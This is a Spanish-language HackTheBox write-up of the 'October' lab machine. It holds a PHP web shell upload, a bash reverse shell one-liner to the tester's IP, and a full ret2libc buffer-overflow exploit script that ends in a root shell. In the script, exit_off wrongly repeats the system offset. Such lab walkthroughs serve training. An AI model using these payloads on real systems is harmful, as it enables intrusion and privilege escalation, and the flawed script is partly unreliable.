Inicio October Writeup - HackTheBox
Entrada
Cancelar

October Writeup - HackTheBox

Resumen

October de la plataforma HackTheBox es una máquina Linux de dificultad Medium creada por ch4p.

Se nos presenta una web con un CMS con credenciales por defecto en donde podremos subir un archivo php y posteriormente ejecutar comandos como el usuario www-data. Una vez dentro del host, podremos identificar un binario con permisos suid, el cual puede ser explotado con la técnica ret2libc para obtener una shell como root.

Enumeración

Nmap

Puertos 22/tcp y 80/tcp abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80/tcp

Consultamos la web y nos encontramos ante un October CMS.

Antes de comenzar a hacer fuzzing, buscaremos october cms default credentials en google. Los primeros resultados nos dan la siguiente información.

  • Credenciales por defecto: admin:admin

  • Url de administración: /backend

Utilizando curl podemos validar esta ruta.

1
2
3
4
5
6
7
8
9
10
❯ curl -sI "10.129.96.113/backend"                                                                     

HTTP/1.1 302 Found
Date: Thu, 26 Jan 2023 23:04:33 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Cache-Control: no-cache
Location: http://10.129.96.113/backend/backend/auth
Set-Cookie: october_session=eyJpdiI6IjdDM2hrYjFDRXdkd2VFZGhaTGZGaFE9PSIsInZhbHVlIjoiUU5hTkdVK2xUcjVEdGZuM1VqTkpVTkEwV0NtSEtuK2xNVFdkUGNmbmxURnR1clVzRlwvb2t0Mm5PZEJWKytMK0pcL1VSdnBKRTAxTE9hSFY3bDdWc1ZYZz09IiwibWFjIjoiMGIyNWU0YTE5MzdmOWMzYjJjZjJjM2QxYjMxNGFmYjY2ZmFlODAxNDMyNjQzNzEzOTZhMjk2MDE2MTIyZmJhNiJ9; expires=Fri, 27-Jan-2023 01:04:33 GMT; Max-Age=7200; path=/; httponly
Content-Type: text/html; charset=UTF-8

Recibiremos una redirección a http://10.129.96.113/backend/backend/auth que nos lleva al panel de autenticación, donde ingresaremos las credenciales por defecto.

User: www-data

Así nada más ingresaremos al panel de administración del CMS.

Si vamos a media, encontraremos una interfaz donde subir documentos, videos y otros. Existe un archivo dr.php5.

Por nuestra parte, subiremos una web shell simple con el siguiente código.

1
<?php system($_REQUEST['cmd']); ?>

Nos arroja un error, seguramente por la extensión, así que la volveremos a subir con extensión .php5 asumiendo que es válida.

Se sube correctamente y en el panel derecho nos dará la ruta en donde quedó la web shell.

1
2
❯ curl -s "http://10.129.96.113/storage/app/media/wshell.php5?cmd=id"  
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Validamos desde consola y efectivamente funciona sin problemas, estamos ejecutando comandos como el usuario www-data.

1
❯ curl -s "http://10.129.96.113/storage/app/media/wshell.php5" -G --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.151/4646 0>&1'"

Nos entablaremos una reverse shell con bash.

1
2
3
4
5
6
❯ nc -nlvp 4646
Listening on 0.0.0.0 4646
Connection received on 10.129.96.113 60014
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
www-data@october:/var/www/html/cms/storage/app/media$

Realizaremos un tratamiento de la tty e iniciaremos con la enumeración.

1
2
3
4
5
6
7
www-data@october:~$ find / -type f -perm 4755 2>/dev/null

<SNIP>
/usr/local/bin/ovrflw

www-data@october:~$ ls -la /usr/local/bin/ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21  2017 /usr/local/bin/ovrflw

Se descubre un binario con permisos SUID que pertenece a root. Con esto es posible escalar privilegios si podemos explotarlo.

1
2
3
www-data@october:~$ /usr/local/bin/ovrflw

Syntax: /usr/local/bin/ovrflw <input string>

Al ejecutarlo veremos que pide una string como argumento.

1
2
www-data@october:~$ /usr/local/bin/ovrflw $(python -c 'print "A"*500')
Segmentation fault (core dumped)

Si como argumento le pasamos 500 caracteres, recibiremos un Segmentation fault, lo que es un indicador de que estamos antes un buffer overflow.

root

Checks previos

Para determinar que técnica debemos ejecutar para explotar exitosamente este bof, es importante verificar primero ciertas características del binario y de la máquina víctima.

  1. Verificar arquitectura y protecciones del binario.

Ambos chequeos los podemos realizar con checksec de pwntools.

Para esto primero deberemos descargar ovrflw hacia nuestro host.

1
2
3
4
5
6
7
❯ checksec ovrflw
[*] '/home/cervant/Documents/HTB/October/content/ovrflw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

El output nos muestra que es un binario de 32 bits y tiene NX activado, lo cual nos impide ejecutar shellcode desde el stack.

  1. Verificar ASLR en la máquina víctima.

El archivo /proc/sys/kernel/randomize_va_space mantiene esta configuración. Los posibles valores son los siguientes

  • 0 = Disabled
  • 1 = Conservative Randomization
  • 2 = Full Randomization
1
2
www-data@october:~$ cat /proc/sys/kernel/randomize_va_space
2

ASLR se encuentra habilitado, esto significa a grandes rasgos que cada vez que ejecutemos un proceso, este se ejecute en una dirección de memoria distinta cada vez.

  1. Determinar offset o padding.

Como vimos anteriormente, si le enviamos 500 caracteres provocaremos un Segmentation Fault, pero para continuar con la explotación debemos saber la cantidad exacta de bytes para controlar el EIP.

Utilizaremos gdb con el plugin pwndbg desde nuestro host. Abrimos ovrflw y generemos una cadena de 500 de longitud.

1
2
3
4
5
 ~/Documents/HTB/October/content ❯ gdb-pwndbg ovrflw

pwndbg> cyclic 500
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
pwndbg> 

Lo ejecutamos y le pasamos la cadena como argumento.

1
pwndbg>  run aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

Entraremos en un breakpoint en donde veremos los valores en memoria, en EIP vemos la cadena daab.

Esto lo buscamos con cyclic -l para encontrar el offset.

1
2
3
pwndbg> cyclic -l daab
Lookup value: b'daab'
112

Buffer Overflow - ret2libc

En este caso la mejor opción sería realizar un ret2libc, podemos guiarnos de un recurso de hacktricks.

  1. Obtener dirección de libc.
  2. Dirección (offset) de /bin/bash
  3. Dirección (offset) de system
  4. Dirección (offset) de exit

Primero deberemos obtener una dirección base de libc, con ldd podemos ver las librerías compartidas de un binario y si lo ejecutamos unas cuantas veces veremos que la dirección cambia.

1
ldd /usr/local/bin/ovrflw | grep libc.so.6

Nos quedaremos con la dirección 0xb760d000.

En el payload final deberemos realizar fuerza bruta con esta dirección, ya que estas se encuentran aleatorizadas.

1
2
www-data@october:~$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 162bac /bin/sh

Para /bin/sh vemos la dirección 0x00162bac.

1
2
3
www-data@october:~$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system| exit"
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

Por último tenemos system 0x00040310 y exit 0x00033260.

Ya teniendo todo esto podemos proceder a crear el script final. Utilizaremos la función pack de struct para formatear correctamente las direcciones de memoria y subprocess para hacer la llamada del binario y pasarle el payload como argumento.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from subprocess import call
from struct import pack

offset = 112
junk = b'A'*offset

libc_base = 0xb760d000

system_off = 0x00040310
exit_off = 0x00040310
binsh_off = 0x00162bac

system_addr = pack("<I", libc_base + system_off)
exit_addr = pack("<I", libc_base + exit_off)
binsh_addr = pack("<I", libc_base + binsh_off)

payload = junk + system_addr + exit_addr + binsh_addr

while True:
	call(["/usr/local/bin/ovrflw", payload])

Una vez finalizado el exploit lo ejecutamos y conseguimos una consola como root.

1
2
3
4
5
6
7
www-data@october:/dev/shm$ python3 exploit.py 
*** Error in `/usr/local/bin/ovrflw': free(): invalid pointer: 0x0804823c ***
# whoami
root
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# 

Para encontrar las flag, lo podemos hacer fácilmente con find.

1
2
3
bash-4.3# find / -type f -name "user.txt" -o -name "root.txt" 2>/dev/null
/home/harry/user.txt
/root/root.txt

Recursos

Esta entrada está licenciada bajo CC BY 4.0 por el autor.